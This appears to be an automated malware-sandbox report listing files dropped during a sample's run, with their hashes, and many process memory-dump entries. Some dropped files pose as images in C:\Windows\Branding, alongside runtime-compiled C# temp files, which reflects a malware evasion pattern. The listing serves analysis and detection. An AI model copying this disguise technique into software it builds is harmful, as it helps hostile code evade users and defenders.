cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
C:\Windows\branding\wupsvc.jpg

MD5
bf0d0c5402d23f3c42e2ffdf583e26ab

SHA1
8eb44d6c4586691b8dc05544dda645e79a2f36e8

SHA256
d1764c0c30290e47c7365148018221a4e86a4737e64214005a2b67db2ec9175c

SHA512
44780c79c333c589d3c9fb4cbb063ecdbd6941787c35bf1f20d239eaa0fee19e847c5f5c7b4c5b3ef78ab21a3f13e909a52a749167ea032275c0bf7ebc49c69f

Download Submit
C:\windows\temp\usrnm.txt

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4ypmd11p\4ypmd11p.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4ypmd11p\4ypmd11p.cmdline

MD5
1fd0f479f9e48858cdadddb09fc71a65

SHA1
f3a74887f04babce695170167f08d5f2928e1dc9

SHA256
ec81b404d8054d059bedd6c3ffa0553a23ccfd6dcd1753da3bf6579d0eba241c

SHA512
42494844d8f123c597123d23643bd571963fa11d2a20931431691563a7e152b583814721a25ddc99594104e3d17ede8e5862bbffce59548dbd45ea2430041dc1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4ypmd11p\CSC8FA6497565B24962A0C859D862A90E.TMP

MD5
fd3d2b85da9d18c74a60192c5bebc3be

SHA1
a3c3b3432f4d8c799e5ffaf99314de5a725ea9bc

SHA256
a84cb2ba676c1ac7a62cc2957e7ed64ce00d150b8def6bdf6bd5bdfed0e32c97

SHA512
24f425663813d099c2b25b02cf87fe9d5896966c053c12ae501829498c0ab9c0d978f969772f9e35f0b93944eb5b28eadf83aa3ba5062843491836d3e43391f8

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ffsqzohs\CSCE7A0BCCA9C5043FFAC857F79D8DD5F0.TMP

MD5
b714d13f2e60428b9cfa9638a9d09608

SHA1
2033dcba1398a7a7dba33d198f0baefe7f4f3fc8

SHA256
a019b4f1fcb17982d023b0f6a1abbfe542ff30449df141be6a50712b76b98192

SHA512
55a0e407bbddce79d22e9d1a8c569e32ed8ef2dc97a9a84d8a7d3bab6a512762b541e0fbd1382f4c0778232ea3d46715fb0c163c7bf357e9d379574620613236

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ffsqzohs\ffsqzohs.0.cs

MD5
9f8ab7eb0ab21443a2fe06dab341510e

SHA1
2b88b3116a79e48bab7114e18c9b9674e8a52165

SHA256
e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

SHA512
53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ffsqzohs\ffsqzohs.cmdline

MD5
7ac1607569a9b50fedb52003c75d408d

SHA1
146e6bf21c202f98d8e508f2a3297714f1cf8f68

SHA256
949ebfa80f83b8a554e010af2b50e0d462ba8bc33cdd68b446e4e8b3f886d782

SHA512
721ab7ceff71b4c2b81c2924a498136397115dc1072b2d882617a0bed3b11f52002998c8f793f2a2333aef570cface13f8f857bce7682bea9ae357c4ee42577a

Download Submit
\Windows\Branding\mediasrv.png

MD5
96e498a3833f52ae46bcfdc391f73cf7

SHA1
ecaf72b46cf1cb074bde2914963bb1e61450ca95

SHA256
21a0a297e9a2295f7e32aea08ea74c01199cc57d30b8a177fa99c9cc96a6268b

SHA512
9f273a77d434807138c884cc95deb1cadea1ff6db492839d238759a265f3b0ded318b6af59d0743f8dd1555e968afb1eca9ba92a214ecd247480d2a072c08540

Download Submit
\Windows\Branding\mediasvc.png

MD5
2ee3d03bb1f8bd257235fc70e92b17e1

SHA1
c36482b8f8229578dec1cc687aaf53084cb6d05e

SHA256
b7a9b4269995093c63efe64cb65e4562680af2fdf7c4dfdc235f2eb60c469ff0

SHA512
39f8a42a512e4bfbf84ac3c472bf9444a139da23b7007f57aa68dc9ba9db5466b7f155df18c0a49e3073527763ef459180ab1912e53453d312c17718ab67abea

Download Submit
memory/504-115-0x0000000000030000-0x0000000000039000-memory.dmp

Filesize
36KB

Download
memory/504-114-0x0000000000651000-0x000000000065B000-memory.dmp

Filesize
40KB

Download
memory/788-1372-0x0000000000000000-mapping.dmp

Download
memory/804-1029-0x0000000000000000-mapping.dmp

Download
memory/816-257-0x0000000006A30000-0x0000000006A31000-memory.dmp

Filesize
4KB

Download
memory/816-313-0x0000000006A33000-0x0000000006A34000-memory.dmp

Filesize
4KB

Download
memory/816-259-0x0000000006A32000-0x0000000006A33000-memory.dmp

Filesize
4KB

Download
memory/816-242-0x0000000000000000-mapping.dmp

Download
memory/900-1018-0x0000000000000000-mapping.dmp

Download
memory/960-714-0x0000000000000000-mapping.dmp

Download
memory/960-1370-0x0000000000000000-mapping.dmp

Download
memory/1132-1416-0x0000000000000000-mapping.dmp

Download
memory/1476-854-0x0000000000000000-mapping.dmp

Download
memory/1616-246-0x0000000000000000-mapping.dmp

Download
memory/1616-260-0x000001E2E4380000-0x000001E2E4382000-memory.dmp

Filesize
8KB

Download
memory/1616-261-0x000001E2E4383000-0x000001E2E4385000-memory.dmp

Filesize
8KB

Download
memory/1616-294-0x000001E2E4386000-0x000001E2E4388000-memory.dmp

Filesize
8KB

Download
memory/1616-322-0x000001E2E4388000-0x000001E2E438A000-memory.dmp

Filesize
8KB

Download
memory/1676-141-0x0000023472F95000-0x0000023472F96000-memory.dmp

Filesize
4KB

Download
memory/1676-142-0x0000023472F96000-0x0000023472F97000-memory.dmp

Filesize
4KB

Download
memory/1676-137-0x0000023472F90000-0x0000023472F92000-memory.dmp

Filesize
8KB

Download
memory/1676-138-0x0000023472F93000-0x0000023472F95000-memory.dmp

Filesize
8KB

Download
memory/1676-130-0x0000023473E10000-0x000002347420F000-memory.dmp

Filesize
4.0MB

Download
memory/1676-122-0x0000000000360000-0x00000000011A6000-memory.dmp

Filesize
14.3MB

Download
memory/1676-119-0x0000000000000000-mapping.dmp

Download
memory/1840-176-0x00000121C82F3000-0x00000121C82F5000-memory.dmp

Filesize
8KB

Download
memory/1840-179-0x00000121B0020000-0x00000121B0022000-memory.dmp

Filesize
8KB

Download
memory/1840-222-0x00000121C82F8000-0x00000121C82F9000-memory.dmp

Filesize
4KB

Download
memory/1840-227-0x00000121C97F0000-0x00000121C97F1000-memory.dmp

Filesize
4KB

Download
memory/1840-165-0x0000000000000000-mapping.dmp

Download
memory/1840-170-0x00000121B0020000-0x00000121B0022000-memory.dmp

Filesize
8KB

Download
memory/1840-172-0x00000121B0020000-0x00000121B0022000-memory.dmp

Filesize
8KB

Download
memory/1840-171-0x00000121B0020000-0x00000121B0022000-memory.dmp

Filesize
8KB

Download
memory/1840-173-0x00000121B0020000-0x00000121B0022000-memory.dmp

Filesize
8KB

Download
memory/1840-175-0x00000121C82F0000-0x00000121C82F2000-memory.dmp

Filesize
8KB

Download
memory/1840-178-0x00000121C8430000-0x00000121C8431000-memory.dmp

Filesize
4KB

Download
memory/1840-223-0x00000121B0020000-0x00000121B0022000-memory.dmp

Filesize
8KB

Download
memory/1840-189-0x00000121C82F6000-0x00000121C82F8000-memory.dmp

Filesize
8KB

Download
memory/1840-208-0x00000121C8580000-0x00000121C8581000-memory.dmp

Filesize
4KB

Download
memory/1840-188-0x00000121B0020000-0x00000121B0022000-memory.dmp

Filesize
8KB

Download
memory/1840-180-0x00000121B0020000-0x00000121B0022000-memory.dmp

Filesize
8KB

Download
memory/1840-182-0x00000121C85E0000-0x00000121C85E1000-memory.dmp

Filesize
4KB

Download
memory/1840-184-0x00000121B0020000-0x00000121B0022000-memory.dmp

Filesize
8KB

Download
memory/1840-228-0x00000121C9B80000-0x00000121C9B81000-memory.dmp

Filesize
4KB

Download
memory/1852-123-0x0000000000000000-mapping.dmp

Download
memory/1852-132-0x0000000002510000-0x00000000025A1000-memory.dmp

Filesize
580KB

Download
memory/1872-1414-0x0000000000000000-mapping.dmp

Download
memory/1912-1409-0x0000000000000000-mapping.dmp

Download
memory/1912-847-0x0000000000000000-mapping.dmp

Download
memory/1940-190-0x0000000000000000-mapping.dmp

Download
memory/1980-1037-0x0000000000000000-mapping.dmp

Download
memory/2044-1032-0x0000000007182000-0x0000000007183000-memory.dmp

Filesize
4KB

Download
memory/2044-1015-0x0000000000000000-mapping.dmp

Download
memory/2044-1031-0x0000000007180000-0x0000000007181000-memory.dmp

Filesize
4KB

Download
memory/2044-1075-0x000000007E0D0000-0x000000007E0D1000-memory.dmp

Filesize
4KB

Download
memory/2060-1445-0x0000000000000000-mapping.dmp

Download
memory/2124-1319-0x00000137E9698000-0x00000137E9699000-memory.dmp

Filesize
4KB

Download
memory/2124-889-0x0000000000000000-mapping.dmp

Download
memory/2124-1147-0x00000137E9696000-0x00000137E9698000-memory.dmp

Filesize
8KB

Download
memory/2124-1078-0x00000137E9693000-0x00000137E9695000-memory.dmp

Filesize
8KB

Download
memory/2124-1046-0x0000000000000000-mapping.dmp

Download
memory/2124-1076-0x00000137E9690000-0x00000137E9692000-memory.dmp

Filesize
8KB

Download
memory/2224-118-0x0000000000AD0000-0x0000000000AE6000-memory.dmp

Filesize
88KB

Download
memory/2224-1491-0x0000000000B00000-0x0000000000B16000-memory.dmp

Filesize
88KB

Download
memory/2432-857-0x0000000000000000-mapping.dmp

Download
memory/2544-991-0x0000000000000000-mapping.dmp

Download
memory/2568-416-0x000001CCD1D63000-0x000001CCD1D65000-memory.dmp

Filesize
8KB

Download
memory/2568-405-0x0000000000000000-mapping.dmp

Download
memory/2568-415-0x000001CCD1D60000-0x000001CCD1D62000-memory.dmp

Filesize
8KB

Download
memory/2568-448-0x000001CCD1D68000-0x000001CCD1D6A000-memory.dmp

Filesize
8KB

Download
memory/2568-447-0x000001CCD1D66000-0x000001CCD1D68000-memory.dmp

Filesize
8KB

Download
memory/2576-1027-0x0000000000000000-mapping.dmp

Download
memory/2580-1419-0x0000000000000000-mapping.dmp

Download
memory/2580-203-0x0000000000000000-mapping.dmp

Download
memory/2664-1418-0x0000000000000000-mapping.dmp

Download
memory/2700-1412-0x0000000000000000-mapping.dmp

Download
memory/2708-116-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/2708-117-0x0000000000402DF8-mapping.dmp

Download
memory/2820-156-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

Download
memory/2820-150-0x0000000005030000-0x0000000005031000-memory.dmp

Filesize
4KB

Download
memory/2820-155-0x00000000056D0000-0x00000000056D1000-memory.dmp

Filesize
4KB

Download
memory/2820-229-0x0000000006950000-0x0000000006951000-memory.dmp

Filesize
4KB

Download
memory/2820-136-0x0000000000000000-mapping.dmp

Download
memory/2820-143-0x0000000000780000-0x00000000007B1000-memory.dmp

Filesize
196KB

Download
memory/2820-148-0x0000000000870000-0x000000000088C000-memory.dmp

Filesize
112KB

Download
memory/2820-162-0x0000000005860000-0x0000000005861000-memory.dmp

Filesize
4KB

Download
memory/2820-161-0x0000000005024000-0x0000000005025000-memory.dmp

Filesize
4KB

Download
memory/2820-153-0x0000000005023000-0x0000000005024000-memory.dmp

Filesize
4KB

Download
memory/2820-151-0x0000000005020000-0x0000000005021000-memory.dmp

Filesize
4KB

Download
memory/2820-152-0x0000000005022000-0x0000000005023000-memory.dmp

Filesize
4KB

Download
memory/2820-154-0x00000000056A0000-0x00000000056A1000-memory.dmp

Filesize
4KB

Download
memory/2836-1413-0x0000000000000000-mapping.dmp

Download
memory/2876-1410-0x0000000000000000-mapping.dmp

Download
memory/2884-221-0x0000000004D40000-0x0000000005346000-memory.dmp

Filesize
6.0MB

Download
memory/2884-846-0x0000000000000000-mapping.dmp

Download
memory/2884-212-0x000000000041B25E-mapping.dmp

Download
memory/2884-211-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/2884-1446-0x0000000000000000-mapping.dmp

Download
memory/2976-1040-0x0000000000000000-mapping.dmp

Download
memory/3168-196-0x0000000006390000-0x0000000006391000-memory.dmp

Filesize
4KB

Download
memory/3168-160-0x0000000000C03000-0x0000000001009000-memory.dmp

Filesize
4.0MB

Download
memory/3168-204-0x0000000005600000-0x0000000005601000-memory.dmp

Filesize
4KB

Download
memory/3168-201-0x0000000005683000-0x0000000005684000-memory.dmp

Filesize
4KB

Download
memory/3168-157-0x0000000000000000-mapping.dmp

Download
memory/3168-198-0x0000000000400000-0x0000000000841000-memory.dmp

Filesize
4.3MB

Download
memory/3168-200-0x0000000005682000-0x0000000005683000-memory.dmp

Filesize
4KB

Download
memory/3168-197-0x0000000001010000-0x0000000001412000-memory.dmp

Filesize
4.0MB

Download
memory/3168-192-0x0000000005A90000-0x0000000005E8F000-memory.dmp

Filesize
4.0MB

Download
memory/3168-210-0x00000000067D0000-0x00000000067D1000-memory.dmp

Filesize
4KB

Download
memory/3168-202-0x0000000005684000-0x0000000005685000-memory.dmp

Filesize
4KB

Download
memory/3168-199-0x0000000005680000-0x0000000005681000-memory.dmp

Filesize
4KB

Download
memory/3176-1021-0x0000000000000000-mapping.dmp

Download
memory/3180-1007-0x0000000000000000-mapping.dmp

Download
memory/3180-853-0x0000000000000000-mapping.dmp

Download
memory/3196-174-0x00000000051E0000-0x00000000051E1000-memory.dmp

Filesize
4KB

Download
memory/3196-169-0x0000000005260000-0x0000000005261000-memory.dmp

Filesize
4KB

Download
memory/3196-167-0x00000000009F0000-0x00000000009F1000-memory.dmp

Filesize
4KB

Download
memory/3196-163-0x0000000000000000-mapping.dmp

Download
memory/3196-181-0x0000000005930000-0x0000000005931000-memory.dmp

Filesize
4KB

Download
memory/3196-177-0x0000000005420000-0x0000000005421000-memory.dmp

Filesize
4KB

Download
memory/3236-717-0x0000000000000000-mapping.dmp

Download
memory/3268-357-0x0000000000000000-mapping.dmp

Download
memory/3268-366-0x0000000006C62000-0x0000000006C63000-memory.dmp

Filesize
4KB

Download
memory/3268-368-0x0000000006C60000-0x0000000006C61000-memory.dmp

Filesize
4KB

Download
memory/3268-476-0x000000007F490000-0x000000007F491000-memory.dmp

Filesize
4KB

Download
memory/3408-716-0x0000000000000000-mapping.dmp

Download
memory/3460-276-0x0000000000000000-mapping.dmp

Download
memory/3548-700-0x0000000000000000-mapping.dmp

Download
memory/3548-710-0x0000000006C92000-0x0000000006C93000-memory.dmp

Filesize
4KB

Download
memory/3548-709-0x0000000006C90000-0x0000000006C91000-memory.dmp

Filesize
4KB

Download
memory/3548-768-0x000000007F740000-0x000000007F741000-memory.dmp

Filesize
4KB

Download
memory/3556-896-0x0000000000000000-mapping.dmp

Download
memory/3560-993-0x0000000000000000-mapping.dmp

Download
memory/3560-1035-0x0000000000000000-mapping.dmp

Download
memory/3576-370-0x000001AB47B66000-0x000001AB47B68000-memory.dmp

Filesize
8KB

Download
memory/3576-414-0x000001AB47B68000-0x000001AB47B6A000-memory.dmp

Filesize
8KB

Download
memory/3576-364-0x000001AB47B63000-0x000001AB47B65000-memory.dmp

Filesize
8KB

Download
memory/3576-363-0x000001AB47B60000-0x000001AB47B62000-memory.dmp

Filesize
8KB

Download
memory/3576-348-0x0000000000000000-mapping.dmp

Download
memory/3584-855-0x0000000000000000-mapping.dmp

Download
memory/3584-1034-0x0000000000000000-mapping.dmp

Download
memory/3592-1026-0x0000000000000000-mapping.dmp

Download
memory/3604-299-0x0000000000000000-mapping.dmp

Download
memory/3756-1043-0x0000000000000000-mapping.dmp

Download
memory/3808-1489-0x0000000000402DF8-mapping.dmp

Download
memory/3872-1008-0x0000000000000000-mapping.dmp

Download
memory/3872-1415-0x0000000000000000-mapping.dmp

Download
memory/3880-1417-0x0000000000000000-mapping.dmp

Download
memory/3988-1371-0x0000000000000000-mapping.dmp

Download
memory/4024-892-0x0000000000000000-mapping.dmp

Download
memory/4068-886-0x0000000000000000-mapping.dmp

Download
memory/4072-1028-0x0000000000000000-mapping.dmp

Download